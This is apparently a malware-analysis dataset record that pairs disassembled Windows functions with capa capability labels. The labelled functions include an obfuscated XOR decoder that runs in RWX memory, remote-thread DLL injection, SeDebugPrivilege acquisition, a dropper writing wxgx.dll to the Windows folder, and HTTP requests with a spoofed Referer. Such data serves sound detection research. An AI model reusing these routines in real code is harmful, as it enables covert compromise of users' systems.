joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430a67ba
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x430aa9f0]
jne 0x430a67c4
repz ret
jmp fcn.430a7df9

Function at 0x4016f2
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
push esi
push ebx
xor ebx, ebx
sub esp, 0x3c
mov eax, dword [0x405054]
mov ecx, dword [0x405050]
add eax, 0xc
cmp ecx, ebx
jle 0x40172b
mov edx, dword [eax]
cmp edi, edx
jb 0x401725
mov esi, dword [eax + 4]
add edx, dword [esi + 8]
cmp edi, edx
jb 0x401818
inc ebx
add eax, 0x14
jmp 0x40170d
mov dword [esp], edi
call fcn.00401ecb
mov esi, eax
test eax, eax
jne 0x401749
mov dword [esp + 4], edi
mov dword [esp], str.Address__p_has_no_image_section
jmp 0x40180d
imul ebx, ebx, 0x14
mov eax, dword [0x405054]
xor edx, edx
add eax, ebx
mov dword [eax], edx
mov dword [eax + 0x10], esi
call fcn.00401f7b
mov edx, dword [0x405054]
add eax, dword [esi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [ebp - 0x34]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
jne 0x4017ab
mov eax, dword [0x405054]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [esi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.004016a8
mov eax, dword [ebp - 0x20]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401812
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401812
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [ebp - 0x28]
cmove eax, edx
mov edx, dword [ebp - 0x34]
add ebx, dword [0x405054]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401812
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.004016a8
inc dword [0x405050]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x401df0
Capabilities:
Parse pe header

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
mov eax, dword [ebp + 8]
cmp word [eax], 0x5a4d
jne 0x401e15
add eax, dword [eax + 0x3c]
cmp dword [eax], 0x4550
jne 0x401e15
xor edx, edx
cmp word [eax + 0x18], 0x10b
sete dl
mov eax, edx
pop ebp
ret

Function at 0x401e19
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push esi
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
push ebx
xor ebx, ebx
add edx, dword [edx + 0x3c]
movzx eax, word [edx + 0x14]
movzx esi, word [edx + 6]
lea eax, [edx + eax + 0x18]
cmp ebx, esi
jae 0x401e4d
mov edx, dword [eax + 0xc]
cmp ecx, edx
jb 0x401e47
add edx, dword [eax + 8]
cmp ecx, edx
jb 0x401e4f
inc ebx
add eax, 0x28
jmp 0x401e35
xor eax, eax
pop ebx
pop esi
pop ebp
ret
Function at 0x32028bac
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x32028bbb
pop dword [ebp - 0x34]
mov eax, 0xc5df2404
add eax, 0x6c2367b7
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x5f3e264a
add dword [ebp - 0x44], 0xef141f01
mov dword [ebp - 0x40], 0x9e7f0d7e
sub dword [ebp - 0x40], 0x6c4bc139
mov dword [ebp - 0x3c], 0x14b14f7b
sub dword [ebp - 0x3c], 0xc8650b4d
mov dword [ebp - 0x38], 0x10dd6a01
add dword [ebp - 0x38], 0xef2295ff
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x1174c7e2
sub dword [ebp - 0x44], 0x9d025e8c
mov dword [ebp - 0x40], 0x23d8e58d
add dword [ebp - 0x40], 0x1d937be8
mov dword [ebp - 0x3c], 0x9be0f0c4
add dword [ebp - 0x3c], 0xc78e7ba8
mov dword [ebp - 0x38], 0xce9482cc
sub dword [ebp - 0x38], 0xce9482cc
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x4ace6
push 0
call eax
mov ecx, 0x54c7
xor edi, edi
add edi, eax
mov edx, 0x3207a200
add edx, dword [ebp - 0x34]
mov esi, 0xe10fe76a
xor dword [ebp - 0x18], esi
mov ebx, dword [edx]
mov dword [ebp - 4], 0x4bcfab97
add ebx, esi
add dword [ebp - 0x18], eax
mov dword [edi], ebx
add edi, 0xba08c4d
add edi, 0xf45f73b7
add edx, 0x9b40474d
sub edx, 0x9b404749
loop 0x32028cc3
add eax, 0x145ef
xor ebx, ebx
add ebx, eax
add eax, 0x27001ca6
sub eax, 0x27001ca1
mov ecx, 0x9416dc48
sub ecx, 0x6216dc48
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x10002250
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100071a9
mov eax, dword fs:[0]
push eax
sub esp, 0x84
mov eax, dword [0x1000b134]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x44
push 0
lea eax, [ebp - 0x84]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x84], 0x44
mov dword [ebp - 0x74], 0x14
mov dword [ebp - 0x70], 0x14
mov dword [ebp - 0x6c], 0xc8
mov dword [ebp - 0x68], 0xc8
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x58], 1
mov ecx, 5
mov word [ebp - 0x54], cx
mov edx, dword [ebp + 8]
push edx
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVCP90.dll_public:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::empty_void_const]
movzx eax, al
test eax, eax
jne 0x100022fd
push 0x100084f4
lea ecx, [ebp - 0x2c]
call dword [0x10008100]
mov ecx, dword [ebp + 0xc]
push ecx
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x84]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x10002367
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x8c], 0xffffffff
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, dword [ebp - 0x8c]
jmp 0x100023a9
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
call dword [sym.imp.USER32.dll_WaitForInputIdle]
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [ebp - 0x90], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000601c
mov esp, ebp
pop ebp
ret
Function at 0x10002bb0
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1__SV1__.NET_CLR_1.1.4322__.NET_CLR_2.0.50727_
mov dword [ebp - 0xc], str.Content_Type:_application_x_www_form_urlencoded
push 0
push 0
push 0
push 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x10002be6
xor eax, eax
jmp 0x10002d0a
push 0
push 0
push 3
push 0
push 0
movzx ecx, word [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10002c1d
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x10002d0a
push 0
push SysReAllocString
push 0
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
push 0x10008408
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10002c61
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x10002d0a
mov dword [ebp - 0x14], str.Referer:_http:__localhost:80_addfirend.html_r_n
push 0x20000000
mov eax, dword [ebp - 0x14]
push eax
call sub.MSVCR90.dll_strlen
add esp, 4
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x10002ce7
cmp dword [ebp + 0x14], 0
je 0x10002ce7
mov ecx, dword [ebp + 0x1c]
mov dword [ecx], 0
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10002ce7
mov eax, dword [ebp + 0x14]
add eax, dword [ebp - 0x1c]
mov dword [ebp + 0x14], eax
mov ecx, dword [ebp + 0x1c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 0x1c]
mov dword [eax], edx
cmp dword [ebp - 0x1c], 0
jne 0x10002ce5
jmp 0x10002ce7
jmp 0x10002cad
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x10002ef0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 8
push 0
lea eax, [ebp - 8]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x1c]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
lea edx, [ebp - 0xc]
push edx
push 0x28
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10002f31
xor eax, eax
jmp 0x10002fa7
lea eax, [ebp - 8]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x10002f54
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x10002fa7
mov dword [ebp - 0x1c], 1
mov edx, dword [ebp - 8]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 2
push 0
push 0
push 0x10
lea ecx, [ebp - 0x1c]
push ecx
push 0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10002f9b
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, 1
jmp 0x10002fa7
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10003080
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x1000b134]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push eax
push 8
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
mov dword [ebp - 0x230], 0x224
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.DLL_Module32First
push 0x10008644
lea eax, [ebp - 0x210]
push eax
call sub.MSVCR90.dll_strcmp
add esp, 8
test eax, eax
jne 0x100030da
mov eax, 1
jmp 0x100030f0
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.DLL_Module32Next
test eax, eax
jne 0x100030bb
xor eax, eax
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000601c
mov esp, ebp
pop ebp
ret
Function at 0x10003100
Capabilities:
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x1000b134]
xor eax, ebp
mov dword [ebp - 0x10], eax
push 0x10008660
push 0x72
mov eax, dword [0x1000b1b8]
push eax
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov dword [ebp - 0x124], eax
mov ecx, dword [ebp - 0x124]
push ecx
mov edx, dword [0x1000b1b8]
push edx
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x124]
push eax
mov ecx, dword [0x1000b1b8]
push ecx
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov dword [ebp - 0x11c], eax
mov edx, dword [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov dword [ebp - 4], eax
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
call fcn.10005fcf
add esp, 4
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x12c]
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
test eax, eax
je 0x100031c3
mov ecx, dword [ebp - 0x120]
push ecx
lea edx, [ebp - 0x118]
push edx
call sub.MSVCR90.dll_strcpy
add esp, 8
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x130], eax
mov ecx, dword [ebp - 0x130]
push ecx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push str.wxgx.dll
lea edx, [ebp - 0x118]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
lea eax, [ebp - 0x118]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCR90.dll_strcpy
add esp, 8
push 0x10008650
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCR90.dll_fopen]
add esp, 8
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0
je 0x10003250
mov eax, dword [ebp - 0x128]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR90.dll_fwrite]
add esp, 0x10
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.MSVCR90.dll_fclose]
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000601c
mov esp, ebp
pop ebp
ret
Function at 0x10003270
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000329d
cmp dword [ebp - 4], 0xffffffff
jne 0x100032a4
xor eax, eax
jmp 0x1000339c
push 0x1000b450
mov ecx, dword [ebp - 4]
push ecx
call fcn.100028f0
add esp, 8
push 0x1000b450
call fcn.100023d0
add esp, 4
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_GetExitCodeProcess]
cmp dword [ebp - 0xc], 0x103
je 0x100032ea
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x1000339c
push 0x40
push 0x1000
push 0x3e8
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000331c
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x1000339c
lea ecx, [ebp - 0x14]
push ecx
push 0x104
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
push 0x10008674
push str.kernel32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x18], eax
lea edx, [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
push 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x8000
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_VirtualFreeEx]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x10003490
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10007288
mov eax, dword fs:[0]
push eax
sub esp, 0x158
mov eax, dword [0x1000b134]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x120], 0
push str.zO2807rD09E
lea ecx, [ebp - 0x158]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x158]
push eax
lea ecx, [ebp - 0x13c]
push ecx
call section..text
add esp, 8
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x158]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 0
push str.TXGuiFoundation
mov edx, dword [ebp - 0x120]
push edx
push 0
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
je 0x10003595
push 0x104
lea eax, [ebp - 0x11c]
push eax
mov ecx, dword [ebp - 0x120]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea ecx, [ebp - 0x13c]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0x164], eax
mov edx, dword [ebp - 0x164]
push edx
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.MSVCR90.dll_strstr]
add esp, 8
test eax, eax
je 0x10003595
mov ecx, dword [ebp - 0x120]
mov dword [ebp - 0x15c], ecx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x13c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, dword [ebp - 0x15c]
jmp 0x100035c5
cmp dword [ebp - 0x120], 0
jne 0x10003503
mov dword [ebp - 0x160], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x13c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000601c
mov esp, ebp
pop ebp
ret
Function at 0x10004220
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b0
mov eax, dword [0x1000b134]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x2ac], 0
lea eax, [ebp - 0x198]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0
je 0x10004268
mov eax, dword [ebp - 0x2ac]
jmp 0x1000430e
mov byte [ebp - 0x2a0], 0
push 0x103
push 0
lea ecx, [ebp - 0x29f]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x2a4], 0
push 0x104
lea edx, [ebp - 0x2a0]
push edx
call sub.WS2_32.dll_gethostname
lea eax, [ebp - 0x2a0]
push eax
call sub.WS2_32.dll_gethostbyname
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0
je 0x10004303
push 4
mov ecx, dword [ebp - 0x2a4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx]
push eax
lea ecx, [ebp - 0x2b0]
push ecx
call sub.MSVCR90.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 0x2b0]
push edx
call sub.WS2_32.dll_inet_ntoa
push eax
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x2b0]
mov dword [eax], ecx
mov dword [ebp - 0x2ac], 1
call sub.WS2_32.dll_WSACleanup
mov eax, dword [ebp - 0x2ac]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000601c
mov esp, ebp
pop ebp
ret

Function at 0x10004320
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x1000b134]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x121], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 1
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
push str.SYSTEMCurrentControlSetControlNetwork4D36E972_E325_11CE_BFC1_08002BE10318
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000441f
mov ecx, dword [ebp + 8]
push ecx
push str._sConnection
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
lea ecx, [ebp - 0x120]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004415
mov dword [ebp - 0xc], 0x104
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 8]
push edx
push 0
push str.PnpInstanceID
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000440b
push 0x100087a8
call sub.MSVCR90.dll_strlen
add esp, 4
push eax
push 0x100087a8
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.MSVCR90.dll_strncmp]
add esp, 0xc
test eax, eax
jne 0x1000440b
mov byte [ebp - 0x121], 1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [ebp - 0x121]
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1000601c
mov esp, ebp
pop ebp
ret